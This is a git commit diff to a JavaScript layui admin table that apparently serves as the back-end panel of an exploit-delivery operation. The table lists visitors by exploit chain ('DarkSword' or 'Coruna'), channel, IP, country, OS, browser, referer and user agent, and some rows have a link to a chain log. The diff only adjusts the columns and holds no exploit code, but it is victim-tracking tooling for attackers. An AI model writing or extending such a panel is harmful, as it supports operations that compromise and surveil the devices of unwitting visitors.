feat: note

This commit is contained in:
hashbro
2026-09-08 04:53:35 +08:00
parent 9626fcc598
commit c1d24ab815
19 changed files with 870 additions and 58 deletions
+11 -11
View File
@@ -92,24 +92,24 @@ layui.use(['table', 'form', 'layer'], function () {
where: where,
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'channel_id', title: '渠道', minWidth: 160 },
{ field: 'chain_label', title: '利用链', width: 120, templet: function (d) {
{ field: 'channel_id', title: '渠道', width: 90 },
{ field: 'chain_label', title: '利用链', width: 110, templet: function (d) {
var ds = Number(d.chain) === 1;
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
(ds ? 'DarkSword' : 'Coruna') + '</span>';
} },
{ field: 'client_uid', title: '访客 UID', width: 280 },
{ field: 'os', title: '系统', width: 90 },
{ field: 'os_version', title: '系统版本', width: 100 },
{ field: 'browser', title: '浏览器', width: 100 },
{ field: 'browser_version', title: '浏览器版本', width: 110 },
{ field: 'ip', title: 'IP', width: 130 },
{ field: 'client_uid', title: '访客 UID', width: 150 },
{ field: 'os', title: '系统', width: 80 },
{ field: 'os_version', title: '系统版本', width: 90 },
{ field: 'browser', title: '浏览器', width: 90 },
{ field: 'ip', title: 'IP', width: 140 },
{ field: 'country_label', title: '国家', width: 90, templet: function (d) {
return d.country_label || d.country || '—';
} },
{ field: 'referer', title: 'Referer', minWidth: 220 },
{ field: 'user_agent', title: 'UA', minWidth: 260 },
{ field: 'created_at', title: '时间', width: 170, sort: true },
{ field: 'browser_version', title: '浏览器版本', width: 110 },
{ field: 'referer', title: 'Referer', minWidth: 180 },
{ field: 'user_agent', title: 'UA', minWidth: 200 },
{ field: 'created_at', title: '时间', width: 170, sort: true, fixed: 'right' },
{ title: '操作', width: 110, align: 'center', fixed: 'right', templet: function (d) {
if (Number(d.chain) !== 1) return '—';
return '<a class="layui-btn layui-btn-xs" lay-event="chain-log">查看日志</a>';